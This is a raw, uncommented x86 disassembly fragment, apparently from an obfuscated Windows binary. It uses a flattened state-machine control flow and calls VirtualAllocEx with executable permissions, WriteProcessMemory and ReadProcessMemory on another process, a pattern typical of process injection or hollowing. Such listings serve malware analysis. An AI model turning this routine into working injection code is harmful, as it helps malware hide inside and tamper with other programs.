and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x14ee9f32
mov ecx, 0x90677cd8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10004809
mov dword [ebp - 0x164], 0x5d3929ee
jmp 0x10004809
mov dword [ebp - 0x164], 0x51538bd8
jmp 0x10004809
mov eax, dword [ebp - 0x24]
sub esp, 4
mov dword [esp], eax
call fcn.100020e0
add esp, 4
mov dword [ebp - 0x164], 0x57624b85
jmp 0x10004809
mov eax, dword [ebp - 0xd4]
mov ecx, dword [ebp - 0xd0]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x164], 0x7266bbde
jmp 0x10004809
mov dword [ebp - 0x164], 0xcc0d1c7f
jmp 0x10004809
mov eax, dword [ebp - 0x114]
mov eax, dword [ebp - 0x118]
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x164], 0x97717a15
jmp 0x10004809
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0x164], 0xe4cbf92b
jmp 0x10004809
mov dword [ebp - 0x164], 0xa4ef26b4
jmp 0x10004809
mov eax, dword [ebp - 0xfc]
mov ecx, dword [ebp - 0x7c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x100]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xfc]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x164], 0xae32ce09
jmp 0x10004809
mov dword [ebp - 0x164], 0xcc88ddaa
jmp 0x10004809
mov eax, dword [ebp - 0x12c]
add eax, 0x18
add eax, 0x1c
mov ecx, dword [ebp - 0x128]
mov ecx, dword [ecx + 0xa4]
xor edx, edx
sub edx, ecx
xor ecx, ecx
sub ecx, 8
add edx, ecx
xor ecx, ecx
sub ecx, edx
mov edx, dword [ebp - 0x24]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov dword [ebp - 0x164], 0x26141008
jmp 0x10002570